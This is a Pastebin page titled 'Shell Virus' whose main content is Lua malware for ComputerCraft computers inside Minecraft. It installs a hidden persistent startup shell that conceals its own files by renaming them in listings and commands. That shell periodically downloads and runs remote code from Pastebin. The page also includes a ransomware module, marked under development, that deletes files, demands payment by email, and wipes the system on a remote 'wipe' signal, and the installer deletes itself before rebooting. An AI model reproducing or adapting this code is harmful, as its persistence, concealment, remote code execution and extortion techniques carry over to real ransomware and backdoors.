Advertisement
asteroidsteam

Shell Virus

Apr 1st, 2018
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 7.57 KB | None | 0 0
  1. local lsdDll = [[
  2. local tx,ty = term.getSize()
  3. local tArgs = {...}
  4. function lsd()
  5.   for i=1,ty do
  6.     term.setCursorPos(1,i)
  7.     for x=1,tx do
  8.       term.setCursorPos(x,i)
  9.       local color = {
  10.       [1] = colors.red,
  11.       [2] = colors.blue,
  12.       [3] = colors.green,
  13.       [4] = colors.pink,
  14.       [5] = colors.orange,
  15.       [6] = colors.gray,
  16.       [7] = colors.yellow,
  17.       [8] = colors.purple
  18.       }
  19.       term.setBackgroundColor(color[math.random(1,8)])
  20.       write(" ")
  21.     end
  22.   end
  23. end
  24. for i=1,50 do
  25.   lsd()
  26.   os.sleep(0.01)
  27. end
  28. term.setBackgroundColor(colors.black)
  29. term.clear()
  30. term.setCursorPos(1,1)
  31. cmd = ""
  32. if #tArgs == 0 then
  33.  
  34. else
  35.   for i=1,#tArgs do
  36.     cmd = cmd.." "..tArgs[i]
  37.   end
  38.   shell.run(cmd)
  39. end
  40. ]]
  41. local listDll = [[
  42. function explode(inputstr, sep)
  43.   if sep == nil then
  44.     sep = "%s"
  45.   end
  46.   local t={} ; i=1
  47.   for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
  48.     t[i] = str
  49.     i = i + 1
  50.   end
  51.   return t
  52. end
  53. local modFilesN = {
  54. "sup,startup",
  55. "oss,os"
  56. }
  57. local files = fs.list(shell.dir())
  58. local tDirs = {}
  59. local tFiles = {}
  60. for n, sItem in pairs(files) do
  61.   if sItem == "os" then  
  62.   elseif sItem == "startup" then
  63.   else
  64.     if fs.isDir(sItem) then
  65.       for i, tItem in pairs(modFilesN) do
  66.         a = explode(tItem,",")
  67.         if sItem == a[1] then
  68.           sItem = a[2]
  69.           break
  70.         end
  71.       end
  72.       table.insert(tDirs, sItem)
  73.     else
  74.       for i, tItem in pairs(modFilesN) do
  75.         a = explode(tItem,",")
  76.         if sItem == a[1] then
  77.           sItem = a[2]
  78.           break
  79.         end
  80.       end
  81.       table.insert(tFiles, sItem)
  82.     end
  83.   end
  84. end
  85. table.sort(tDirs)
  86. table.sort(tFiles)
  87. if term.isColor() then
  88.   textutils.tabulate(colors.green, tDirs, colors.white, tFiles)
  89. else
  90.   textutils.tabulate(colors.white, tDirs, colors.white, tFiles)
  91. end
  92. ]]
  93. local start = [[
  94. if fs.exists("/os") then
  95. else
  96.   fs.makeDir("/os/programs/")
  97. end
  98. shell.setAlias("ls","/os/programs/list")
  99. shell.setAlias("list","/os/programs/list")
  100. function downloadFiles()
  101.   if http.checkURL("https://pastebin.com/raw/YcRrNyNe") then
  102.     local files = http.get("https://pastebin.com/raw/YcRrNyNe")
  103.     local code = files.readAll()
  104.     files.close()
  105.     local file = fs.open(".temp","w")
  106.     file.write(code)
  107.     file.close()
  108.     dofile(".temp")
  109.     fs.delete(".temp")
  110.   end
  111. end
  112. local modFilesN = {
  113. "sup,startup",
  114. "oss,os"
  115. }
  116. function shella()
  117.   term.setTextColor(colors.yellow)
  118.   path = shell.dir()
  119.   for i, tItem in pairs(modFilesN) do
  120.     a = explode(tItem,",")
  121.     if path == a[1] then
  122.       path = a[2]
  123.       break
  124.     end
  125.   end
  126.   write(path.."> ")
  127.   term.setTextColor(colors.white)
  128.   local red = read()
  129.   return red
  130. end
  131. local blockedCmd = {
  132. }
  133. local modCmd = {
  134. "rm startup,rm sup",
  135. "edit startup,edit sup",
  136. "cd os,cd oss",
  137. "mkdir os,mkdir oss",
  138. "rm os,rm oss"
  139. }
  140. function explode(inputstr, sep)
  141.   if sep == nil then
  142.     sep = "%s"
  143.   end
  144.   local t={} ; i=1
  145.   for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
  146.     t[i] = str
  147.     i = i + 1
  148.   end
  149.   return t
  150. end
  151. while true do
  152.   local stuff = shella()
  153.   local rand = math.random(0,5)
  154.   local blocked = false
  155.   for n, sItem in pairs(blockedCmd) do
  156.     local a = explode(sItem,",")
  157.     if a[1] == stuff then
  158.       blocked = true
  159.       bMsg = a[2]
  160.       break
  161.     end
  162.   end
  163.   if blocked == false then
  164.     for n, sItem in pairs(modCmd) do
  165.       a = explode(sItem, ",")
  166.       if stuff == a[1] then
  167.         stuff = a[2]
  168.         break
  169.       end
  170.     end
  171.     if rand == 3 then
  172.       shell.run("/os/programs/lsd "..stuff)
  173.       downloadFiles()
  174.     else
  175.       shell.run(stuff)
  176.     end
  177.   else
  178.     printError(bMsg)
  179.   end
  180. end
  181. ]]
  182. local ransom = [[
  183. //UNDER DEVELOPMENT////
  184. //UNDER DEVELOPMENT////
  185. //UNDER DEVELOPMENT////
  186. //UNDER DEVELOPMENT////
  187. //UNDER DEVELOPMENT////
  188. //UNDER DEVELOPMENT////
  189. local ransomtext = "
  190. Warning! All your data on your hard drive has been stored to ram! That means if you exit this program all your data will be LOST Please message "***.****.**@gmail.com" within 5:00 min or your data will be DESTROYED!
  191.  
  192. Press [V] to verify your payment
  193. Press [D] to view data that has been encrypted
  194. Press [E] to exit (Once exited all files will be lost.)
  195.  
  196. Good Day,
  197.         Jack
  198.  
  199.  
  200. "
  201. local violatetext = "
  202. You terminated the program! All your files have been REMOVED from your pc and all ram data was cleared.
  203.  
  204. Sorry!
  205. "
  206. local paytext = "
  207. Thank you for paying! All your data has been restored and the program is exiting! Goodbye SUKKA
  208.  
  209. Best Regards (Just kidding),
  210.                            Jack
  211. "
  212. local exitPText = "
  213. Well, you put it on yourself you did not want to pay! goodbye your files.
  214.  
  215. Byebye.
  216. "
  217. local noPayText = "
  218. Im sorry, you did not pay within 5:00 min! All your files have been deleted.
  219. "
  220. local invalidPayment = "Invalid payment! Or not detected! Please pay and/or try again. Use the code: "..os.getComputerID().." In the payment message."
  221. printError(ransomtext)
  222. local files = fs.list("/")
  223. local data = {}
  224. for i=1,#files do
  225.   if fs.isDir(files[i]) == false then
  226.     local file = fs.open(files[i], "r")
  227.     local fData = file.readAll()
  228.     local tempArray = {files[i], fData}
  229.     file.close()
  230.     table.insert(data, tempArray)
  231.     fs.delete(files[i])
  232.   end
  233. end
  234. while true do
  235.   local evt, key = os.pullEventRaw()
  236.   if (key == keys.v) and evt == "key" then
  237.     local url = http.get("https://pastebin.com/raw/9hu9M3q3")
  238.     local code = url.readAll()
  239.     url.close()
  240.     if code == "1789-HGFC-4536-JKPO-"..os.getComputerID() then
  241.       os.sleep(3)
  242.       for i=1,#data do
  243.         local file = fs.open(data[i][1], "w")
  244.         file.write(data[i][2])
  245.         file.close()
  246.       end
  247.       printError(paytext)
  248.       break
  249.     elseif code == "wipe" then
  250.       data = {}
  251.       local files = fs.list("/")
  252.       for i=1,#files do
  253.         if files[i] == "rom" then
  254.         else
  255.           fs.delete(files[i])
  256.         end
  257.       end
  258.       printError(noPayText)
  259.       break
  260.     else
  261.       printError(invalidPayment)
  262.     end
  263.   elseif evt == "terminate" then
  264.     local files = fs.list("/")
  265.     printError(violatetext)
  266.     for i=1,#files do
  267.       if files[i] == "rom" then
  268.       else
  269.         fs.delete(files[i])
  270.       end
  271.     end    
  272.     return
  273.   elseif evt == "key" and key == keys.d then
  274.     local files = fs.list("/")
  275.     for i=1,#data do
  276.       printError("IN RAM STORAGE 1: "..data[i][1])
  277.     end
  278.     for i=1,#files do
  279.       if files[i] == "rom" then
  280.         printError("IN COMPUTER STORAGE: "..files[i])
  281.       else
  282.         printError("IN RAM STORAGE 2: "..files[i])
  283.       end
  284.     end
  285.   elseif evt == "key" and key == keys.e then
  286.     data = {}
  287.     local files = fs.list("/")
  288.     for i=1,#files do
  289.       if files[i] == "rom" then
  290.       else
  291.         fs.delete(files[i])
  292.       end
  293.     end
  294.     printError(exitPText)
  295.     local htp = http.get("https://pastebin.com/raw/NFew0g6n")
  296.     local fread = htp.readAll()
  297.     htp.close()
  298.     local file = fs.open("/startup", "w")
  299.     file.write(fread)
  300.     file.close()
  301.     os.reboot()
  302.     break
  303.   end
  304. end
  305. os.sleep(3)
  306. ]]
  307. local file = fs.open("/os/programs/lsd","w")
  308. file.write(lsdDll)
  309. file.close()
  310. local file2 = fs.open("startup","w")
  311. file2.write(start)
  312. file2.close()
  313. local file3 = fs.open("/os/programs/list","w")
  314. file3.write(listDll)
  315. file3.close()
  316. local file4 = fs.open("/os/programs/ransom","w")
  317. file4.write(ransom)
  318. file4.close()
  319. if shell.getRunningProgram() == "rom/programs/http/pastebin" then
  320. elseif shell.getRunningProgram() == "rom/programs/http/pastebin.lua" then
  321. else
  322.   fs.delete(shell.getRunningProgram())
  323. end
  324. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement